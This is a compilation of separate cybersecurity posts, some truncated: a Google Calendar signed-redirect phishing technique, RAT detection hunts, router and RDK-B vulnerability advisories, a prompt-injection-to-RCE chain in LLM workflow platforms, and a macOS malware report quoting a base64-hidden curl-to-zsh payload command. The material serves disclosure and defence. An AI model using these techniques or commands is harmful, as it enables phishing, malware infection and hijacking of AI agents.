*Nothing new here. URL signing has been public since 2011, calendar phishing since 2019. This just connects the two.* The trick: Google wraps outbound links as `google.com/url?q=<destination>` and signs the ones it generates (usg, a keyed hash over the params). Valid signature, silent redirect.  Missing or altered, you get the "Redirect Notice" warning. You can't forge it. But you don't need to, because Google signs it for you whenever you use its products.  **Drop your link in a calendar invite and Google hands you a signed one:** unsigned (shows notice): https://www[.]google[.]com/url?q=https://wikipedia[.]org signed by Calendar (redirects silently): https://www[.]google[.]com/url?q=https://wikipedia[.]org&sa=D&source=calendar&ust=1787766516374753&usg=AOvVaw0cpIubPxDaYABa3_SC5g6G Same destination. The signature is the only difference, and it's the whole reason the warning is skipped.  Removing source=calendar breaks the silent redirect **Why the invite is perfect:** * Sent by Google's servers, so it passes SPF, DKIM, DMARC. Nothing to fail on. * Auto-add lands it on the target's calendar with zero interaction. * The link reads as google.com. Victim hovers, sees Google, relaxes. Real destination only shows after the redirect fires. Why it's not a bug: the signature proves Google generated the link, not that the destination is safe. That's  Google Safe Browsing's job, and it still runs. A signed link skipping the notice is the signature working as intended. And it is out of scope for Google's bounty for over a decade. Feature abuse, not a defect. **A useful Fix :**  In gmail, set Calendar > Event Settings > Automatically add invitations to "Only if the sender is known." Kills the zero-click delivery path. **Google admin** : Apps >Google Workspace >Settings for Calendar > Advanced settings > Check : >Invitations from known senders Adds an invitation to a user's calendar only if the sender is in the user’s contacts or if the user interacted with them before. This might reveal to a sender that they aren’t in the user’s contacts.

Sharing some detection angles from recent work on FTP banners being abused as dead drop resolvers, based on two RAT families we've been calling E4del and PINHOLE. On the network side, the interesting gap is that most orgs don't inspect FTP banner content at all; they just don't expect port 21 to be a delivery mechanism. Worth watching for LNK-spawned processes or shell scripts reaching out to external FTP endpoints, and flagging banners that contain encoded PowerShell or WebDAV-sourced rundll32 calls. On the endpoint side, for PINHOLE specifically: **→** Check for writes to %USERPROFILE%\\Downloads\\desktop.ini:bt or desktop.ini:ek  that's where it's stashing config data in ADS **→** Suspended ApplicationFrameHost.exe processes getting an APC queued immediately after creation (NtQueueApcThread) is a strong signal for the injection technique it uses **→** Page permission toggling between PAGE\_READWRITE and PAGE\_EXECUTE\_READ, paired with trapped 0xC0000005 exceptions via VEH, is the fingerprint of its shellcode fluctuation approach A few host-level artifacts worth adding to hunt queries: u.cmd, calc.cab, and calc\_runner.cmd showing up in %TEMP%, signature mismatches on Discord.exe tied to a modified app.asar, and a Load value under HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows. Happy to go deeper on any of this if people are building detections around it. [**https://hubs.la/Q04tQxV30**](https://hubs.la/Q04tQxV30)

Overview The Calix GS7 XGS GS5239XG router running firmware EXOS/6.6.47 contains a missing authentication vulnerability that exposes its UPnP (Universal Plug and Play) WANIPConnection service on the public WAN interface. Description Calix GS7 XGS GS5239XG is a residential gateway that provides routing, NAT, and firewall functionality for home networks. The device includes the Universal Plug and Play (UPnP) service implemented via MiniUPnPd 2.3.7, a lightweight software program that provides features such as automatic port forwarding for applications and devices on the LAN. By default, the UPnP service is exposed on the device’s WAN interface and does not require authentication. CVE-2026-75501 In affected firmware versions, the router binds its UPnP WANIPConnection SOAP service to the public WAN interface on TCP port 5000. Because the service does not require authentication when accepting SOAP requests, a remote attacker can obtain full access to the router’s critical UPnP functions including adding, deleting, and enumerating NAT port mappings. Impact CVE-2026-75501 enables an unauthenticated, remote attacker to remotely query and manipulate existing NAT mappings. By exploiting this vulnerability to create arbitrary port-forwarding rules on the router, an attacker can bypass NAT and firewall protections, exposing internal LAN devices to the public internet. Because the Calix router is typically provisioned with its default UPnP-enabled configuration, this issue poses significant risk to residential users with network-connected internal devices such as security cameras, network-attached storage (NAS), and other IoT appliances. Solution Unfortunately, the CERT/CC was

Disclosure: I work on the commercial platform these were built with. The exercise preview links point to that domain. **The SCORM packages themselves are fully white-labeled — no logos, no backlinks, no sign-up, no paywall. Grab them from GitHub and self-host if you'd rather not touch our site.** Also, the post was admin-approved, a huge "thank you" to them! \----------------- Hey r/cybersecurity, I'm a cybersec engineer with an L&D background. For the last year been working on a library of \~140 free interactive exercises dedicated to teaching people how to build secure applications, recognize phishing and use AI in a safe way. Exercises are split across two Github repos, all packaged as SCORM .zip files under CC BY-NC 4.0 license. **Security awareness (130+ exercises)** Each one drops the learner into a first-person 3D office and makes them act: answer the phone, read the email, click the thing, live with it. Every exercise ends with a quiz at a 100% pass threshold. Course packages in the repo: * OWASP Top 10 for LLM Applications (10) — prompt injection hidden in uploaded documents, sensitive data categories that should never enter a prompt, system prompt extraction against a live chatbot, RAG pipeline access-control failures, denial-of-wallet against an unprotected AI API * OWASP Top 10 for Agentic Applications (10) — goal hijacking via poisoned email, agent memory poisoning, agent-to-agent message spoofing, multi-agent cascading failure, detecting a rogue agent that looks like it's working fine * EU AI Act Compliance (16) — Article 4 literacy, risk-tier classification, prohibited practices, FRIAs, GPAI obligations, penalty structure * GDPR Compliance (11) — the 72-hour breach clock, fraudulent DSARs used as social engineering, Article 30 RoPA building, Schrems II transfer assessments, PII redaction that actually removes the data * Phishing & Impersonation (13) — vishing, smishing, BEC, QR phishing, callback/TOAD, double-barrel, deepfake whaling on a live video call * Device Security (8) — ransomware in real time, USB drop / Rubber Ducky, EDR alert triage, file extension tricks * Passwords & Account Security (7), Web & Browser Safety (6), Safe Communication & Sharing (6), Workplace Security (5), Security Policies & Your Role (5), Protecting Sensitive Information (4), plus Incident Reporting, Remote/Home Office, and Real-World Incidents (the MGM/Scattered Spider helpdesk call, a OneNote-based BEC chain) **Application security (40+ exercises)** Built on an exploit, trace and remediate loop. You run the attack against a deliberately vulnerable app, trace how the bug got introduced, then write the fix. Remediation examples are given in JavaScript, TypeScript, Java, C#, Python, Scala, PHP, Ruby, Go, and Kotlin. * OWASP Top 10 for Web (22) — SQLi, DOM/reflected/stored XSS, SSRF to the cloud metadata endpoint, XXE, CSRF, session fixation, host header injection, weak randomness (recovering Math.random() state to predict a reset token), IDOR from both sides * OWASP API Security Top 10 (10) — BOLA, broken function-level auth, mass assignment, excessive data exposure, improper inventory management (hitting a retired v1 that skips v2's controls), CORS misconfiguration * Git & Repository Security (8) — secrets recovered from the commit that removed them, exposed .git directories, commit author spoofing, branch protection bypass, CI/CD secret exposure in build logs, spotting a backdoor in a friendly-looking PR **Two ways to use it** Web view — run exercises in a browser, good for workshops or sharing with students and colleagues.

The familiar `vulners.nse` that many of you have used like this: `nmap -sV --script vulners <target>` finally got a proper update. It still does the same basic job: take what Nmap finds on a port and show the known vulnerabilities. But v2.0 is much better at it: * better software/version detection, including web apps and raw banners * 700+ fingerprint rules and 900+ HTTP paths * parallel probing that follows Nmap timing settings * cleaner output and proper machine-readable results * findings ranked by real-world risk: KEV, active exploitation, exploits, EPSS, then CVSS And the normal usage is still free, with no account or API key required.

Cloudflare Aug 20

Since June, developers have created thousands of third-party OAuth apps on Cloudflare , with more than a million authorizations since. OAuth makes delegated access possible. It lets applications act on a user’s behalf without asking them to handle long-lived credentials or hand over a password. That model works well when an application can describe its access needs with a small set of scopes. Developers use OAuth for SaaS integrations, internal tools, CLIs, and agents. Our permission model has become more granular over time to support better scoping of these different workflows. That is great for security, but it makes a purely all-or-nothing consent screen hard to justify. Cloudflare OAuth already allows clients to request a subset of their configured scopes. But once the client made that request, the user could not narrow it any further on the consent screen. For the user on the consent screen, the experience was still an all-or-nothing one. If an application requested more access than a user was comfortable granting, their only options were to approve the full request, or deny outright. MCP servers are a good example of this. An MCP server might request a broad set of permissions, because in theory an agent could use all of them. But most users would not want an agent to have that much access. Before this feature, the only way to handle this was for the app developer to build a custom scope selection screen before sending the user to our consent flow. Today, we’re introducing OAuth scope customization. Client owners can mark specific scopes as optional when configuring an OAuth client, giving users the ability to grant a narrower subset of an application’s requested access at authorization time. The OAuth spec already allows authorization servers to grant a narrower set of scopes than wh

Most enterprises should treat annual penetration testing as a baseline, not a complete answer. PCI DSS is the one framework with an explicit annual and change-triggered mandate. SOC 2, the current HIPAA Security Rule, and ISO 27001 all expect testing to follow the organization's own risk assessment and control design, not one fixed calendar date. HHS has proposed an annual HIPAA pentesting requirement, but that rule has not been finalized. Enterprises that combine a formal annual assessment with change-triggered and continuous validation stay ahead of frameworks that were never designed around a single testing frequency.

Overview RDK Central RDK-B WebUI version, rdkb-2025q4-kirkstone, contains multiple vulnerabilities involving memory corruption, improper authentication, race conditions, and insufficient input validation. An attacker with network access to an affected WebUI may be able to bypass authentication, obtain administrative access, cause a denial-of-service condition, or corrupt memory within underlying RDK-B processes. Under certain conditions, this memory corruption may potentially be leveraged for arbitrary code execution. Description RDK-B (Reference Design Kit for Broadband) is an open-source software platform used in broadband gateways and related networking devices. The RDK-B WebUI provides a web-based interface for configuring and administering an RDK-B device. Five vulnerabilities have been identified in the RDK-B WebUI. CVE-2026-19505 JWT (JSON Web Token) authentication in javascript-templates/source/jst_functions.c does not correctly verify whether a token's cryptographic signature is valid. The application treats both a valid signature and an invalid signature as successful verification because it incorrectly checks the return value from OpenSSL's EVP_VerifyFinal() function. A remote, unauthenticated attacker can craft a JWT with an invalid signature that is still accepted by the WebUI. Successful exploitation allows the attacker to log in as the privileged user and gain administrative access to the device. CVE-2026-19506 The login process in /usr/www2/check.jst uses a shared value to store the result of password verification. Because this value is shared between multiple requests, the application may return one user's authentication result to another user's session. An unau

In 2021, we assessed remote Spectre attacks against Cloudflare Workers. Based on the results, we shipped a production defense called Dynamic Process Isolation (DyPrIs), which identifies maliciously looking scripts and isolates them into separate processes. Since then, newer techniques in the area of stabilizing Spectre attacks have been discovered. To understand if these techniques posed a threat to our Workers production environment, we decided to internally reassess the remote Spectre attack. Building an updated proof-of-concept on the production environment allowed us to empirically assess the risk of Spectre attacks under production workloads. To mount a successful side-channel attack in production, an external attacker has to overcome additional obstacles such as activity on shared hardware resources, interrupts, context switches, and coarse-grained timers. Our research uncovered a limitation in the implementation of DyPrIs and we managed to demonstrate a remote Spectre attack reliably leaking up to 12 bit/s with a 99% accuracy in the production environment of Cloudflare Workers. As a consequence of this research, we improved DyPrIs, integrated the V8 Sandbox and an in-process isolation mechanism to further reduce the risk of memory disclosure attacks. Today we are publishing a paper describing our findings, co-authored by Albert Pedersen, Haocheng Xiao, Sam Ainsworth, Nigel Topham, and Martin Schwarzl. This paper covers research done in 2024 and early 2025. Note that the presented attack is mitigated alread

Route leaks push traffic down paths it was never meant to take. We have written and spoken publicly in the past about route leaks in Border Gateway Protocol (BGP) , depicting these events as impactful incidents that cause misdirection of traffic through unintended network paths. BGP routing is driven by the relationships between Autonomous Systems (ASes), i.e., customer-provider and peer-peer. Customers pay providers for access to the rest of the Internet, while peers exchange traffic with one another typically under a “settlement-free” arrangement where no money changes hands. These relationships help define routing rules that form plausible paths. For example, the rules form a “valley-free” hierarchy of how routes should propagate: a route learned from a provider or a peer should be announced only downward to customers, never back up to another provider or peer. Rules like this express an intent or expectation about Internet routes. A route leak is what happens when that intent is violated. Historically, each network has had to implement this intent on its own, using complex, error-prone routing policies

Author here. I audited NocoBase, Flowise, Langflow, Dify, Activepieces, Kestra, and Airflow and disclosed 14 findings. Every platform inherited the same assumption anyone who can touch a workflow is trusted to run code on the host, which is fine for a dev tool on your laptop but not fine for a multi-tenant HTTP service with an unauthenticated webhook. The chain I'd point people to first is the Flowise one (section 2.2): an unauthenticated request → prompt injection → LLM emits Python → a 38-pattern regex blocklist passes it because the dangerous library was pre-imported before the model was asked anything → RCE.

Sharing an apparent macOS malware campaign / IOC that I encountered today while searching for OpenAI Codex. A sponsored Google result led to a page impersonating Codex installation instructions. The command displayed legitimate-looking OpenAI/npm text, while the actual download URL was hidden using Base64. https://preview.redd.it/v31atwx50xjh1.png?width=1108&format=png&auto=webp&s=6cb2d317c7fd455e75c67cec9e33085cf3a888c9 **Defanged example, do not execute:** echo "npm install -g u/openai/codex https://openai.com/codex/" && curl -s $(echo "<BASE64>" | openssl base64 -d -A) | zsh The Base64 value decoded to: hxxps://quill-flint[.]com/curl/2h0w4vtm7c/7b4cckfhojxjbrcjon.json The interesting part is the delivery pattern: Sponsored search result ↓ Fake Codex installation page ↓ Legitimate-looking OpenAI text printed with echo ↓ Base64-obfuscated unrelated domain ↓ curl response piped directly into zsh I checked common persistence locations afterward and did not observe an obvious unknown LaunchAgent/LaunchDaemon or persistent executable. That makes me wonder whether this campaign is focused primarily on short-lived credential theft rather than persistence. The legitimate Codex installation on the machine was unrelated. It had been installed through Homebrew immediately beforehand and resolves to: /opt/homebrew/Caskroom/codex/0.147.0/bin/codex The binary is signed: Developer ID Application: OpenAI OpCo, LLC (2DC432GLL2) So the malicious component appears to be specifically the separately downloaded `quill-flint[.]com` shell payload. Has anyone tracking current macOS malware seen: quill-flint[.]com /curl/<id>/<id>.json or this exact Codex-themed lure? I'm particularly interested in attribution to an existing stealer family/campaign, related infrastructure, historical samples, or additional IOCs associated with this delivery chain.
